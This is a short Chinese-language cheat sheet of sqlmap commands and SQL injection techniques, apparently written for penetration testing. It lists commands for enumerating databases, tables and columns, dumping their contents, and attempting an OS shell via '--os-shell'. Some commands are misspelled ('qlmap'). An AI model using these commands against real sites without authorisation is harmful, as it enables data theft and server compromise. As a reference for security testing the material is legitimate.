sqlmap常用命令
一. sqlmap介绍
相对于手工注入,sqlmap的高效注入大大提高了我们渗透效率。Sqlmap采用了以下5种独特的SQL注入技术:
- 联合查询,在可以使用Union的情况下注入(注入效率最高,成本最低)
- 报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
- 布尔盲注,即可以根据返回页面判断条件真假的注入
- 延时注入,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
- 堆叠查询,可以同时执行多条语句时的注入
注入小技巧:有回显可以用联合查询,有报错可以用报错注入。都没有再看有没有布尔类型的状态(显示或者不显示)。若以上都没有,试试用延时注入。或者我们直接测试延时注入
二. 常用命令
sqlmap -u URL 检查注入点
sqlmap -u URL --dbs 列出数据库的名字
sqlmap -u URL --is-dba 当前用户是否是数据库管理员
sqlmap -u URL --current-db 显示当前数据库的名字
-D 指定数据库
--tables 列出所有表名
qlmap -u URL -D "xx" --tables 列出xx数据库中的所有表
-T 指定一个表
--columns 列出所有的字段名
qlmap -u URL -D "xx" -T "cc" --columns 列出表中所有的字段名
-C 指定一个字段名
--dump 列出字段内容
qlmap -u URL -D "xx" -T "cc" -C "x,x,.." --dump 列出字段内容(-T ,-C之类的要用大写不然有时候会读不出来)
sqlmap -r a.txt -p username 导入txt文档的post数据包,并指定参数username进行注入
--dbms mysql 指定注入的数据类型为mysql数据库
--os-shell 尝试写入shell
sqlmap -u url --batch --smart 自动聪明的选择,即执行的时候不需要我们再手动的进行选择yes或者no(但是由于机器自动进行选择,所以有时候结果会不一样比如没有结果,所以建议少使用)
--force-ssl 测https的时候
--cookie 有些网站要登录才行,所以需设置cookie
==–dbms:==指定注入的数据库类型,如Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, Percona, PostgreSQ
-v 3
如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。
共有七个等级,默认为1:
0 只显示python错误以及严重的信息。
1 同时显示基本信息和警告信息。(默认)
2 同时显示debug信息。
3 同时显示注入的payload。
4 同时显示HTTP请求。
5 同时显示HTTP响应头。
6 同时显示HTTP响应页面。
如果你想看到sqlmap发送的测试payload最好的等级就是-v 3。